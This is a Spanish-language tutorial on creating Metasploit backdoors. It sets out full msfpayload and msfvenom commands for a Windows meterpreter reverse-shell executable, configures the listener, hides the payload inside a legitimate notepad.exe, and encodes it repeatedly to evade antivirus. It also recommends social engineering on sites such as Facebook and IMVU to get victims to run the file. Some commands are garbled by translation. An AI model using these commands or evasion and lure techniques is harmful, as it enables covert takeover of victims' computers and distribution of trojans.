El arte de creador un backdoor & Exploits con Metasploit

(Acceso total a una PC mediante backdoors e ingenieria social en redes sociales, Facebook, IMVU)

Metasploit tiene la capacidad de crear payloads ejecutables. Esto puede ser extremadamente útil si usted puede conseguir la ejecucción de dicho payload o backdoor en el equipo de la victima, ya sea manualmente o con ingenieria social. >:)

Los atacantes a menudo utilizan phishing, scripts en paginas web o la famosa ingenieria social, entre otros métodos, para conseguir que una victima ejecute un payload.

Si los atacantes pueden conseguir que su victima ejecute un payload, no hay ninguna razón para que un atacante no pueda encontrar y explotar el software vulnerable.

Topología

Kali Linux (en entorno simulado )

Dirección IP: 192.168.100.64/24 GW: 192.168.2.2 (FW / IPS)

De Windows 8, parcheado corriendo AV Antivirus (en el interior o el entorno simulado de confianza)

Dirección IP: 192.168.1.32/24 GW: 192.168.100.64 (FW / IPS)

La creación de un backdoor básico con msfpayload

Lo primero que vamos a demostrar es cómo crear un backdoor básico con msfpayload.

Msfpayload es una forma rápida de crear un payload. Sin embargo, se amortiza el comando. El comando msfvenom reemplazará msfpayload. Una de las razones, msfvenom combina las funciones de msfpayload y msfencoder que permite codificar sus payloads para AV y otras técnicas de evasión de antivirus.

Vamos a echar un vistazo a msfpayload, luego nos trasladaremos hacia el uso de msfvenom para el resto del post.

En esta ocasión utilizaré Kali linux

En este primer paso vamos a crear un ejecutable de Windows que hará una conexión inversa a través del puerto 4444 a nuestro servidor Metasploit Kali Linux que tiene una dirección IP de 192.168.100.64

Comando: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.100.64 LPORT=4444 X >/root/my_backdoor.exe

Usted recibirá un banner que indicará que el comando se ha representado.

Verifique el archivo EXE se ha creado.

Configuraremos nuestro servidor escucha en msfconsole en Kali Linux

mfsconsole

use explotit / multi / handler

set LHOST 192.168.100.64

set lport 4444

set: set PAYLOAD / meterpreter / reverse_tcp

mostrar opciones

exploit

mostrar opciones con el comando: exploit

Ahora lo que tenemos que hacer es ayudarnos con un poco de ingenieria social, los atacantes podrían hacer esto a través de una suplantación de identidad de un archivo, "drive-by-download", haciéndole creer a la victima que es un driver u otro tipo de software que le podría interesar. u otros tipos de ataque.

Para este post le pediré a un conocido que descargue la aplicación, simulando que es la victima.

El punto es conseguir que el host víctima haga clic en el programa My_backdoor.exe

Pero no compartiremos el programa con ese título. Sonaria demasiado malicioso.

En un ataque de ingenieria hacemos que el programa sea de interés común para la victima.

Usted puede ver que tenemos una sesión meterpreter a la máquina de la víctima cuando se conectan de nuevo al servidor Kali Linux Metasploit.

De ahí podemos realizar comandos para realizar casi de todo, ya que tenemos control total de la PC.

Busca el post de Meterpreter, en donde veremos todo lo que podemos realiazr con esta poderosa herramienta.

Así tenemos acceso total de la PC victima, para realizar acciones maliciosas.

En este caso es un Windows 8

Ahora vamos a a hacer algo más avanzado utilizando msfvenom para crear un backdoor idetectable para cualquier antivirus...

Objetivo

Crear un backdoor y esconderlo en una aplicación legítima, como notepad.exe desde Windows XP

Requisitos:

Tienes que copiar el archivo exe win32 de Windows XP a Kali Linux.
Por ejemplo, "notepad.exe" de Windows XP que funciona, pero de Windows 7 (64 bits) no funciona. # Lo sentimos, Windows 7 (32 bits) no se ha confirmado ..
Usted puede obtener notepad.exe del siguiente directorio Win XP. C: \ WINDOWS \ system32 \ notepad.exe

Paso 1

1. Copia notepad.exe desde Windows XP en Kali Linux

2. Inyectar un payload en código notepad.exe

3. Codificar payload por lo que no puede detectar tan fácilmente el antivirus.

4. Atraer víctima para ejecutar la versión modificada del notepad.exe

Paso 2

1. Coloque notepad.exe en la carpeta raíz (o cualquier otra carpeta de su elección) en Kali.

2. En Kali Linux usaremos msfvenom inyectar libreta maliciosa y crear un nuevo ejecutable.

ventanas msfvenom -p / meterpreter / reverse_tcp LHOST = 192.168.2.100 lport = 4,445 -x notepad.exe -e x86 / jmp_call_additive -i 4 -k -f exe> my_evil_program.exe

sustituir la dirección IP con la dirección IP o el nombre DNS de su propia terminal de Kali Linux.

Recuerde que la víctima debe ser capaz de conectarse de nuevo a usted
-i es la cantidad de veces que desea codificar el ejecutable. Se genera cada vez que se codifica una nueva suma de comprobación.

Una palabra sobre codificadores de payloads:

En el ejemplo anterior tratamos y codificamos nuestro payload para evadir anti-virus. Estamos utilizando codificador jmp_call_additive.

Creemos que este es uno de los mejores codificadores. Sin embargo, no se sorprenda si algunos o todos los codificadores no funcionan. Compañías antivirus intentan nuevos métodos para detectarlos. Usted puede usar de terceros y codificadores comerciales también.

x86 / call4_dword_xor - Este codificador implementa una llamada + 4 DWORD XOR Encoder

x86 / cuenta atrás - Este codificador utiliza la longitud del payload como una clave codificadora dependiente de la posición para producir un pequeño decodificador.

x86 / fnstenv_mov - Este codificador utiliza una longitud variable instrucción mov equivalente con fnstenv para getip.

x86 / jmp_call_additive - Este codificador implementa un bug / llamada XOR Aditivo Feedback Encoder

x86 / shikata_ga_nai - Este codificador implementa un polimórfica XOR Feedback Aditivo Encoder. El talón de decodificador se genera basada en la sustitución de instrucciones dinámicas y ordenamiento bloque dinámico. Registros también se seleccionan de forma dinámica.

La mayoría de las personas afirman shikata_ga_nai es el mejor codificador, sin embargo, me parece que muchas empresas AV hacen un gran esfuerzo para detectar este codificador.

A continuación vamos a ver si algunos AV detectan nuestro archivo malicioso. La mejor manera de hacer esto es utilizar Virus Total.

Recomiendo solamente buscar el hash y no subir el archivo. Una vez que el archivo se carga,

1. En primer lugar averiguar el hash con el comando ejecutable md5sum.

2. Busque el hash utilizando Virus Total.

3. Verifique si Virus Total no tiene los resultados.